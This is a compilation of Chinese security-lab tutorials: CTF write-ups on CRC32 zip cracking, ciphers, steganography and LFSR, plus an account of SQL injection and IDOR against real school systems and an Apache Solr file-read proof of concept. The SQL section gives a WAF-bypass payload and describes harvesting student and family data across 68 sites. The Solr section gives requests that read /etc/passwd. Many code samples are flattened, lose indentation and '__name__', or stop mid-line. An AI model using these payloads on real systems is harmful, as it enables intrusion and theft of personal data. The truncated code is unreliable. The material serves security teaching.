Crypto练习之CRC32应用
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
CRC全称为Cyclic redundancy check,即循环冗余校验码,是一种根据输入数据产生简短的固定位数校验码的散列函数。CRC主要用来检测或者校验数据经过传输或者保存后可能出现的错误,CRC32产生32位的散列值(即4字节)。CRC32可以用于数据的校验,在WinRAR等压缩软件中也使用了这一技术,压缩包中每个文件都保存有一个对应的CRC32值,这个值是对压缩前的文件数据计算出来的散列值,在进行解压时会再次计算文件的CRC32值来进行对比,判断压缩包文件是否损坏。尽管CRC32在错误检测中非常有用,但是并不能可靠地校验数据完整性(即数据没有发生任何变化),这是因为CRC多项式是线性
本次实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915463900001。
先来看一下题目,在实验主机上的C:\Crypto\2目录下的flag.zip为本题所提供的文件,请对flag.zip文件进行分析,提取出压缩包中7个txt文件的内容,然后找出Flag字符串。
这个题目意在考察选手对CRC32的了解,以及通过CRC32枚举来还原压缩包文件内容的方法。
实验步骤一、思路分析
打开flag.zip压缩包文件,发现里面有7个txt文件,但是压缩包经过加密了,所以无法直接对其进行解压操作。题目除了这个压缩包之外没有提供任何提示,使用十六进制编辑器查看flag.zip文件似乎也找不到可疑的信息,那么可行的方法似乎就只有一个了,那就是对密码进行暴力破解操作。
暴力破解无非是使用可能的密码尝试进行解压操作,可行的方法有两种:
\1. 通过密码字典收集的常用密码进行破解;
\2. 通过穷举可能的密码进行破解;
对于第一种方式而言,如果机器性能足够好,几千万的密码字典可以很快就跑完;对于第二种方式而言,穷举的空间是非常大的,因为RAR压缩文件密码的最大长度为127个字符,而且不局限于英文字符,因此完全的暴力破解是不可能的。
密码破解并不是本题的出题初衷,这里将介绍一种基于CRC32来还原压缩包内容的方法。观察flag.zip在WinRar中的显示信息,如下图所示:
在WinRAR下方的列表视图中,最后一列是CRC32值,这个值代表的是对应的文件在压缩之前的内容计算出来的CRC32散列值,考虑到这里每个txt文件原始的大小只有4个字节,因此我们可以尝试枚举可能的4字节内容,然后计算CRC32值来进行校验。4字节的枚举空间并不是无法接受,因此可以尝试这样的操作。
这样我们就完成了第一个步骤,接下来开始实验步骤二、CRC32计算
为了快速方便的还原压缩包的内容,我们需要编程来计算CRC32的值。计算CRC32可以有多种方法,可以从网上找一个实现好的C/C++源文件,也可以使用Python提供的库函数来进行计算,这里我们选择后者。
Python的binascii模块提供了一个crc32方法,可以方便的计算所给参数的CRC32值。但是这里的计算结果有一点问题,因为计算出来的结果是一个有符号数,所以可能会看到结果为负数,因此需要将结果和0xFFFFFFFF进行一个位运算与操作。Python计算CRC32的代码如下:
import binascii
def calcCRC32(s):
crc = binascii.crc32(s)
return crc & 0xFFFFFFFF
需要注意的是,前面提到CRC32会存在冲突的可能,也就是说,不同的内容在经过计算后得到的CRC32散列值可能是一样的。
这都是出题人布置的陷阱,你自己做实验的时候要注意,最后一步,实验步骤三、使用脚本进行快速破解
经过前面的分析,我们已经知道了可以通过CRC32来还原压缩包中的4字节文本,以及通过Python计算CRC32的方法,现在只需要给Python脚本添加枚举功能即可,代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
import datetime
import binascii
def showTime():
print datetime.datetime.now().strftime("%H:%M:%S")
def crack():
crcs = set([0xE761062E, 0x2F9A55D3, 0xF0F809B5,
0x645F52A4, 0x0F448B76, 0x3E1A57D9, 0x3A512755])
r = xrange(32, 127)
for a in r:
for b in r:
for c in r:
for d in r:
txt = chr(a)+chr(b)+chr(c)+chr(d)
crc = binascii.crc32(txt)
if (crc & 0xFFFFFFFF) in crcs:
print txt
if name == "main":
showTime()
crack()
showTime()
在命令行下运行上面的Python脚本,等待一段时间后即可看到结果,具体的运行时间由机器的配置决定(经测试,实验机器只需要两分钟左右的时间即可完成破解,破解过程因为占用CPU比较高,因此可能会比较卡,耐心等待即可)。运行结果如下图所示:
这里不到两分钟就完成了整个枚举过程,得到的字符串为:FLAG, assw, dono, ed_p, ord}, t_ne, {we_,我们尝试对其进行拼接,得到一个有意义的结果为:FLAG{we_donot_need_password},这就是我们所要找的Flag字符串。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Crypto练习之替换密码
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天进行的实验室Crypto种的替换密码。首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。
本次实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001。
首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。
本实验要求实验者具备如下的相关知识。
一、替换密码
替换密码是古典密码学中的一种加密方法,其按照特定的规律对文件进行加密。在最简单的替换密码中,通过将一个字符映射为另一个字符的方式来进行加密,比如对ASCII码表做一个映射,可以将密文设置为明文的下一位,如字符a映射为字符b,即可完成简单的替换加密。
二、凯撒密码
凯撒密码替换密码中最为典型的代表。凯撒密码非常简单,就是对字母表中的每个字母,用它之后的第三个字母来代替。例如:
在凯撒密码中字母表是循环的,即认为紧随Z后的字母是A,因此最后一个单词party中,y的密文是B。
当凯撒密码的移位间隔为13时,就是ROT13编码了,因为英文字母表只有26个字母,而对ROT13而言,加密和解密的间隔都是一样的,因此同样的一段文字经过两次ROT13变换后就可以得到自身,即加密和解密是完全一样的操作。
三、英文字母频率
字母频率,就是指各个字母在文本材料中出现的频率。统计表明,在英语语料中各个字母的频率分布是有规律的,比如最常见的字母是e。英语中各个字母大致的频率分布如下图所示:
学习这些的主要目的是了解CTF竞赛中的密码学题型、凯撒密码、基于频率的替换密码破解方法。
接下来开始准备实验环境,我们需要的辅助工具有Python,substitution_cipher_solver,JPK。
先来看题目,在实验主机上的C:\Crypto\1目录下为本题所提供的文件(password.txt以及secret.rar两个文件),请对这些文件进行分析,找到Flag字符串。
文件找到了,该怎么分析呢?
这道题意图在于考察选手对密码学中替换密码的了解,包括凯撒密码及其变形以及基于英文字母频率对单表代替密码的破解方法。
实验步骤一、凯撒密码破解
题目提供了两个文件:password.txt以及secret.rar文件,其中压缩包文件经过了加密,需要密码才能进行解压操作,而password.txt文件中给出了一个hint,提示Caesar以及字符串Mkockb_1c_o4cI。
打开桌面上的JPK工具,输入字符串Mkockb_1c_o4cI,然后依次在菜单项中选择“Ascii”、“Decrypt”、“Caesar”,就可以看到所有可能的结果了,仔细观察输出的结果,可以看到比较有意义的字符串为Caesar_1s_e4sY,如下图所示:
经过测试,发现Caesar_1s_e4sY就是正确的解压密码。
实验步骤二、单表代替密码分析
打开secret.txt文件,得到的内容如下:
oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw k
这里可以尝试对这段文本进行凯撒密码变换,但是尝试1-13这些偏移都看不到任何有意义的结果,因为这里不再使用简单的凯撒变换了,这里使用的是任意的单表代替。在凯撒密码中,所有的字符经过变换后,他们的偏移量都是一样的,比如a经过变换后得到d,那么b经过变换后就是e;而在任意的单表代替中,每个字符都唯一映射到另一个字符,字符串映射之间是没有规律的。
经过使用暴力方式对此类加密进行破解非常麻烦,但是可以使用语言的一些规律对其发起攻击。首先把字母使用的相对频率统计出来,与英文字母的使用频率分布进行比较,可以猜测出一部分映射,然后配合对英语中的构词规律的分析,就可以猜测出其他的映射,按照这个思路基本就能完成密码分析过程。
页面http://cryptoclub.org/tools/cracksub_topframe.php提供了一个方便的操作界面供我们对此类问题进行分析(实验主机不提供网络访问,请在自己的电脑上访问这个页面)。打开该页面然后填入密文,点击Crack,如下图所示:
接下来就可以从频率上对密文进行分析了。根据右侧的频率统计,我们可以尝试对前面四个字母进行替换,在左侧的矩形文本框中,在密文对应字符的上面可以填写解密后的明文,因此,这里得到的密文到明文的映射为:A-e, Y-t, Q-a, I-o。
在英文单词构词方面,以密文第二个单词YJA为例,经过分析后我们得到的结果为t*e,而字符J在密文中的频率为5.9%,对应英文文本中可能的字符为i, n, s, h, r,经过分析,只有the才是有意义的单词,因此我们可以猜测密文J对应明文h。
经过这样不断的分析,我们最终就能还原出明文了。
下来就是实验步骤三、使用脚本进行快速破解
使用实验步骤二中提供的页面,可以完成对密文的破解,但是需要耗费一定的时间和精力,使用已有的成熟的解密脚本,我们可以快速完成破解过程。
页面https://github.com/alexbers/substitution_cipher_solver提供了一个Substitution Cipher Solver工具,可以快速完成对单表替换类密码的分析。从地址https://github.com/alexbers/substitution_cipher_solver/archive/master.zip可以下载到这个工具(或者从http://heetian.qiniudn.com/crypto/substitution_cipher_solver.zip下载,在实验主机的C:\Crypto\1\ substitution_cip
nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phrack magazine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the next phrack i
从明文的最后一句话可以知道,flag为cryptooosocoolamiright。
layfair加密方式同时对两个明文字符进行替换加密,查阅资料了解Playfair密码。
原理和过程,以后在CTF的题目中稍微变化一下,可能你就不认识了。
你想在靶场学习CTF技术吗?
Lower-SQL至系统沦陷
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
在一次edusrc挖掘中,发现了一个系统,对于学校来讲算是及其重要的一个系统,其中部署这大批量的教师+学生信息
同时这个功能点的验证码可以被绕过,拦截重放Intruder进行BP爆破,献上我的大字典并没有任何结果,阿巴阿巴....
爆破无法成功,尝试一波sql注入,照理来讲这种子域下重要的系统应该会有waf等一系列防护操作,即使这样还是需要试试。上来一个admin’ 发现报错。笃定大概率有sql,还是iis搭建的
尝试利用admin’ or ‘1’=’1 密码123456手法 来嗅探系统中是否存在密码为123456的用户,当我开心敲下空格,阿巴阿巴.... 有限制
尝试绕waf,发现当 or 两侧拥有空格时,or这个关键字会被waf拦截,当尝试使用/**/注释符来绕过时发现依旧会产生报错,或许可能是对于等于号进行了限制,利用LIKE尝试,依旧是提示检测到非法字符
从上文的报错可以知道是用的iis7.5搭建,mssql数据库,内敛注释仅被mysql解析,多次FUZZ发现是对于//注释符进行了过滤,那么就在//中任意添加字符串,这边还有前端长度限制,直接F12改maxlength值,同时此系统的应该是没有存在123456密码的用户。换种思路,能来证明其存在注入,让其报错 返回服务器版本信息。
Payload:whskxk'/!&/or/!&/convert(int,@@version)=1/!&/AND/!&/'1'LIKE'1
成功返回服务器版本信息
已经知道此类系统存在SQL 用fofa进行查找 进入其它系统来寻找后台漏洞,发现存在68个类似使用此系统的学校
发现一处可以进入的学校,打入payload 密码123456
当我们利用payload进入系统的时候,发现存在两个功能点,第一个是权限较低的用户,第二个是管理员用户,当点击此功能点的时候 会发现下面有一个地址携带敏感的工号(这个之前在两个功能点都进去之后,没有莫得特别严重的漏洞,回过头来摸索的时候发现的。挖洞讲究的是细心+耐心)
感觉有戏,打开无痕模式 复制此URL,同时将Userid的值修改成admin。
我德西玛 精神小伙,虎躯一震,揉揉眼睛。全校学生个人信息到手,教师的个人信息也同时到手。其家庭成员信息也到手,阿巴巴阿巴....
回想FOFA搜集到的资产+未授权访问....
EDUSRC冲分!!! GOGOGO!!!
涉及漏洞均已提交EDUSRC,同时涉及院校都已积极修复响应。遵守网络安全!共筑美好社会!
你想在靶场学习CTF技术吗?
【隐写】开局一张图,啥也看不出
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
最近遇到一个CTF题目,上面就一张图片是什么?啥都看不出来。今天来看一下CTF图片隐写题目,在图片里面隐藏一些不为人知的flag呢?
本次实验的地址为:《CTF Stegano练习之隐写6》。
首先来看题目。在实验主机上的C:\Stegano\6目录下提供了pic1.jpg以及pic2.jpg两个文件,请对这两文件进行分析,找到一个由两个英文单词组成的字符串Flag。
这两张图看起来都感觉都差不多全是黑白像素点,怎么去找flag呢?
这里有一个神器StegSolve,使用StegSolve提取Flag打开桌面上的StegSolve,然后选择菜单项“File”、“Open”打开pic1.jpg,然后选择菜单项“Analyse”、“Image Combiner”选择pic2.jpg文件,默认的XOR操作就可以看到Flag了,如图所示:
经过简单的分析,我们发现两个图片的尺寸都是300*300,而且文件大小都是71.6KB,所以就不可能存在某一个文件中隐藏了额外的数据的情况了。那么我们可以对两个文件进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看看是否能看到有用的信息。而StegSolve可以十分方便的实现这些操作。
但是使用工具也有一点不好,就是工作的扩展性几乎为零,不能进行批量的自动化处理,而对于自己编写的脚本,自然可以十分方便的进行扩展,可以根据实际需求进行各种定制,并进行批量的自动化处理等。
对于这类题目强烈推荐使用Python的PIL库,脚本“C:\Stegano\6\xorImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = r1^r2, g1^g2, b1^b2
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "pic3.jpg")
双击运行这个python脚本,就可以得到处理结果pic3.jpg,打开该图片就可以看到Flag字符串了,为AZADI TOWER。
脚本的代码比较简单,大致就是使用loadImage函数得到图片的长度、宽度、像素矩阵,然后在函数combineImage中对两个矩阵的像素点进行异或运算,并保存到第三张图片中。注意当两张图片的尺寸不一样的时候,我们进行了额外的处理,即只取最小的长度和宽度。
但是你这里只有XOR脚本,没有其他的。
下面继续来写一个通用的脚本,我们可以对该脚本进行修改,增加其可扩展的灵活性,通过定义一个运算函数实现通用的处理功能,比如我们可以定义xor、or、and三个操作的函数,就可以得到三个不同的处理结果了。脚本“C:\Stegano\6\combineImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def xorFun(x, y):
return x^y
def orFun(x, y):
return x|y
def andFun(x, y):
return x&y
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3, func):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = func(r1,r2), func(g1,g2), func(b1,b2)
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "xor.jpg", xorFun)
combineImage("pic1.jpg", "pic2.jpg", "or.jpg", orFun)
combineImage("pic1.jpg", "pic2.jpg", "and.jpg", andFun)
这个题目不仅仅要会代码,重要的是从题目中找出隐写信息。因为题目有一定难度,才导致CTF比赛这么有竞争力。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Apache Solr最新任意文件读取漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞简介
Apache Solr是一个开源搜索服务引擎,默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDde9d-11f0-4ac2-921f-b04f7e137c75 (Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。)
影响版本
solr任意版本
环境搭建
漏洞环境下载:
https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz解压后进入bin目录,启动(需要java环境),
./solr start
此时启动的solr是没有核心进行索引和搜索的,创建一个节点(核心)
./solr create -c test
访问:http://ip:8983可以看到创建的核心
实际场景下可以看到会有很多核心
漏洞复现
启用远程流传输
访问http://ip:8983/solr/test/config/抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据:
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
即可开启远程流。
读取文件
引入远程流,将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/http://www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件
POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.74.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
漏洞修复
(官方不承认这是漏洞.jpg)
因为solr默认安装情况下未授权,导致可以读取任意文件,启用Apache Solr身份验证可有效缓解该漏洞的影响
配置访问控制策略,避免Apache Solr暴露在互联网
参考
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Stegano隐写-流量分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
CTF套路千千万,今天来看看流量分析。
本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。
先来看题,给定的secret文件没有扩展名,我们需要先弄清楚文件的具体格式信息,才好进行更进一步的分析操作,这里使用TrID工具来对其进行识别。打开cmd命令提示符,切换到C:\Stegano\5目录,使用TrID对secret进行识别,如图所示:
PCAP文件,这种类型的文件通常为网络通信流量抓包文件,可以使用Wireshark进行分析。我们给文件加上.pcap扩展名,然后使用Wireshark将其打开,就可以看到网络通信数据了,如图所示:
372条通信记录,算是很少很少的了,我们先看一下协议类型,除了TCP和UDP协议之外,更具体的协议大概有:TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析,以FTP协议为例,选中一条FTP通信记录,然后单击右键,在菜单中选择“Follow TCP Stream”,我们看到的信息如图所示:
其中有一个hello.txt文件以及super_secret_message.png文件,这两个文件看起来比较可疑。
我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中,因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析,我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件,现在我们需要将这两个文件的数据提取出来。
通过在Wireshark中对通信流量的分析,我们发现在包的序号为204的地方开始传送hello.txt的内容,在包的序号为312的地方开始传送super_secret_message.png的内容,如图所示:
因此我们可以在204以及312后面的数据包去找,以super_secret_message.png文件为例,我们发现序号为313的数据包的协议为FTP-DATA,选中该条记录之后,邮件选择“Follow TCP Stream”,显示方式选择“Raw”,然后选择“Save As”就可以保存这个PNG文件了,如下图所示:
打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337},分析完毕。
老套路,还是隐写题,只是加了个流量分析,还要了解FTP协议,分析数据。找到突破口,合理的进行提取就可以事半功倍。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF竞赛密码学之 LFSR
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
概述:
线性反馈移位寄存器(LFSR)归属于移位寄存器(FSR),除此之外还有非线性移位寄存器(NFSR)。移位寄存器是流密码产生密钥流的一个主要组成部分。
$GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成,如下图所示。
移位寄存器的三要素:
初始状态:由用户确定
反馈函数:$f(a_1,a_2,...,a_n)$是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能值
输出序列
如果反馈函数是线性的,那么我们称其为 LFSR,如下图所示:
LFSR的输出序列{ $a_n$ }满足:
$f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$
$a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$
$a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$
.....
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
举例:
下面是一个5级的线性反馈移位寄存器,其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$
反馈函数为:$a{5+i} = a{3+i}⊕a_i$,(i = 1,2,...)可以得到输出序列为:
1001101001000010101110110001111 100110…
周期为31。
对于 n 级线性反馈移位寄存器,最长周期为$2^n-1$(排除全零)。达到最长周期的序列一般称为 m 序列
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 (本实验主要介绍了CTFCrypto练习之替换密码,通过本实验的学习,你能够了解CTF竞赛中的密码学题型,掌握凯撒密码破解方法,学会基于频率的替换密码破解方法。)
解决LFSR问题
Part(1) 2018 强网杯 Streamgame1
考点:已知反馈函数,输出序列,求逆推出初始状态
题目:
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用:判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位,bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh
考点:
def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作,得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit)
题目已知条件为 flag长度为19bits,mask长度也为19bits.
由LFSR的输出序列{ $a_n$ }满足的条件:
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
可知,输出值$a{n+i}$的结果与c的值相关,即题目中的mask。只有当c的值为1时,$c_1a{n+i-1},...,c_na_i$的值才可能为1
题目中mask中只有第(3,4,5,9,13,14,17,19)位为1,其余都是0(mask这里右边才是第一位,从右往左增大)
现在我们的目的就是为了求出前19位seed的值,而我们已知了seed后面输出序列的值(题目中给的附件key.txt)。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值,即:
key = 0101010100111000111
现在需要计算$a{19}$的值,假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算,那么我们将得到输出值为 key[-1]=1。
因为mask中只有第(3,4,5,9,13,14,17,19)位为1,所以线性反馈函数只取这几位对应的a值
1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17])
得1=$a{19}$^0,得到$a{19}$=1
同理:R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1,求得$a_{18}$=1
第一种方法
#python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18
第二种方法
seed值只可能是0和1构成,所以猜就行了。
from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数,每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask
第三种方法
import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str
Part(1) 2018 强网杯 Streamgame2
考点:已知反馈函数,输出序列,求逆推出初始状态
题目
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key","
解法与 2018 强网杯 Streamgame1不能说是毫不相干,简直是一m0一样
from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp
Part(3) [CISCN2018]oldstreamgame
考点:和前面的题目一样都是给出输出序列和反馈函数,求seed(初始状态)
题目:
flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010
exp
#python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in
Part(4) [De1CTF2019]Babylfsr
考点:B-M 算法
题目给了度为256的lfsr,和输出长度为504的输出序列,并提示了FLAG的特征。
在CTFWiki中有介绍道 B-M 算法:如果我们知道了长度为 2n 的输出序列,那么就可以通过构造矩阵来求出 mask,时间复杂度:$O(n^2)$ 次比特操作,空间复杂度:$O(n)$ 比特。
题目:
import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas
这题中输出序列只给出了504个值,根据 B-M 算法,我们需要确定512个值 (即长度为2n的序列,n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位,可以得到 256 种 mask 可能值,用这 256 个 mask 恢复出 256 个key 值,再用限制条件筛选出 flag.
#sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000
output:
flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}
上面是我关于LFSR学习的一点总结,希望对大家有所帮助,后面会介绍关于LFSR更多的知识点.
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
图片隐写及BinWalk识别隐藏数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
最近学习了图片隐写与音频隐写,这次来一个组合拳练习练习。
本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。
首先对内嵌文件数据分析打开stego4.jpg文件,图片里面显示了一段文字MUSTNOTHACK,其他似乎没有什么有用的信息。
我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理,如图所示:
可以看到里面多了一个7-zip,这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢?
从BinWalk的分析结果可以看出,J其中RAR压缩包的文件偏移地址开始与0x1B8DD,这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具,选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件,然后右键选择“定义选择块”,填入数据块的起始地址为0x1B8DD,结束地址选择“文件结尾”,单击确定就选中数据块了,右键复制数据,然后新建一个十六进制文件,将原有的数据替换为复制的数据,保存即可得到压缩包文件。操作过程如图所示:
这样就得到了一个RAR压缩包文件了。
这个压缩包里面解压出来的flag.7z居然需要密码,p3文件也被隐藏起来了,在cmd中通过dir /AH命令就可以看到,使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性,如下图所示:
播放MP3文件并不能听到什么有用的信息,我们尝试使用MP3Stego检查文件中使用隐藏了数据,使用MP3Stego的时候需要指定一个密码,这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符,首先切换到C:\tools\MP3Stego\目录,然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3,如图所示:
之后我们提取出来一个txt文件,文件内容为INEVERASKEDABOUTTHIS!
把文本内容当成压缩密码输入,得到Flag为VERYEASYSTEGO,即题目要求我们所要寻找的字符串。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
细说变量覆盖那些事
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
